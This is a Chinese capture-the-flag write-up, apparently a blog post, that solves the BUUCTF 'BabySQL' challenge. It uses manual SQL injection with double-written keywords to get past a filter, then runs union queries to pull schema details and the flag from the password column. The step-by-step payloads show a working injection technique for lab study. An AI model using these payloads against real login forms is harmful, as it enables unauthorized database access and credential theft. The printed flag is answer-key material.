2025.1.16——六、BabySQL 双写绕过|联合注入

题目来源:buuctf 极客大挑战 2019BabySQL 1

目录

一、打开靶机,分析已知信息

二、手工注入解题

[step 1:万能密码](#step 1:万能密码)

[step 2:正常注入,判断字段数](#step 2:正常注入,判断字段数)

[step 3:绕过](#step 3:绕过)

[step 4:查数据库](#step 4:查数据库)

[step 5:查表名](#step 5:查表名)

[step 6:查列名](#step 6:查列名)

[step 7:查数据](#step 7:查数据)

三、小结

1.绕过方式

2.查数据库名和表名可以合二为一


一、打开靶机,分析已知信息

仍为SQL注入系列,提示:有关键字过滤

二、手工注入解题

step 1:万能密码

sql 复制代码
username=admin&password=admin' or '1'='1
sql 复制代码
username=admin'&password=admin or '1'='1

发现万能密码失效了,两种密码结果不同是因为的单引号位置不同,导致闭合情况不同

step 2:正常注入,判断字段数

sql 复制代码
username=1' order by 3%23&password=1

发现or和by都被过滤了

再用

username=admin&password=1' union select 1,where

发现union select where 都被过滤了

过滤:有可能用函数将这些关键字替换成了空白字符

所以要进行绕过

step 3:绕过

尝试过后发现大小写绕过失效,所以尝试双写绕过,没问题,则利用双写关键字进行注入

但这里order by还是无法使用,所以用联合查询直接进行尝试

1.尝试两个字段

sql 复制代码
username=admin&password=1' uunionnion sselectelect 1,2%23

出现错误,有可能列数错误,继续尝试

2.尝试三个字段

sql 复制代码
username=admin&password=1' uunionnion sselectelect 1,2,3%23

回显正常了,且回显点为2,3位置

step 4:查数据库

sql 复制代码
username=admin&password=1' uunionnion sselectelect 1,2,database()%23

数据库名为geek

step 5:查表名

sql 复制代码
username=admin&password=1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'%23

得到表名b4bsql

step 6:查列名

sql 复制代码
username=admin&password=1' uunionnion sselectelect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'%23

其中password很可疑

step 7:查数据

sql 复制代码
username=admin&password=1' uunionnion sselectelect 1,2,group_concat(passwoorrd) ffromrom geek.b4bsql%23

从源码中得具体信息:flag{14a8c091-b278-4155-a56e-c663801feb59}

三、小结

1.绕过方式

如大小写绕过,双写绕过(双关键字绕过,如Uunionnion,第一个字母后跟原关键字)

SQL注入一些过滤及绕过总结_sql注入过滤-CSDN博客

2.查数据库名和表名可以合二为一

如:username=admin&password=1' uunionnion sselectelect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23

相关推荐
m4Rk_15 分钟前
【论文阅读】Agent 记忆机制(74):CompassMem——从相似度检索走向事件图上的记忆导航
论文阅读·人工智能·学习·开源·github
小李不想当小白23 分钟前
DMA直接存储器存取(STM32标准库学习笔记)
笔记·stm32·单片机·嵌入式硬件·学习·分享
linmengmeng_13142 小时前
【总结】MyBatis-Plus批量插入与清表的正确姿势
java·spring boot·mysql·mybatis
2601_949950632 小时前
练题簿在线练题全流程:从资料导入到模拟考试与错题复盘
学习·考研·小程序·刷题·小程序推荐
别动我齐刘海3 小时前
ROS2 Jazzy + C++ 实战路线——基础学习2
c++·人工智能·vscode·python·学习·机器学习·机器人
笃行3503 小时前
别拿MySQL数据库管理工具硬导:MySQL 迁 KingbaseES 的完整工具链
数据库
风哥2号3 小时前
数据库教程FGMT51‑PostgreSQL实例管理与参数文件
数据库·postgresql
orange....3 小时前
VMware 双网卡配置:宿主机切换网络时 Ubuntu 固定 IP 访问方案
网络·ubuntu·网络安全
蓝速科技3 小时前
桌面双屏翻译机量产调试:三类场景兼容性破局方案丨蓝速科技
运维·数据库·人工智能·科技·技术分享
达梦数据4 小时前
DMDRS空间数据类型说明:Oracle、DM8、MySQL空间数据类型映射
数据库·mysql·oracle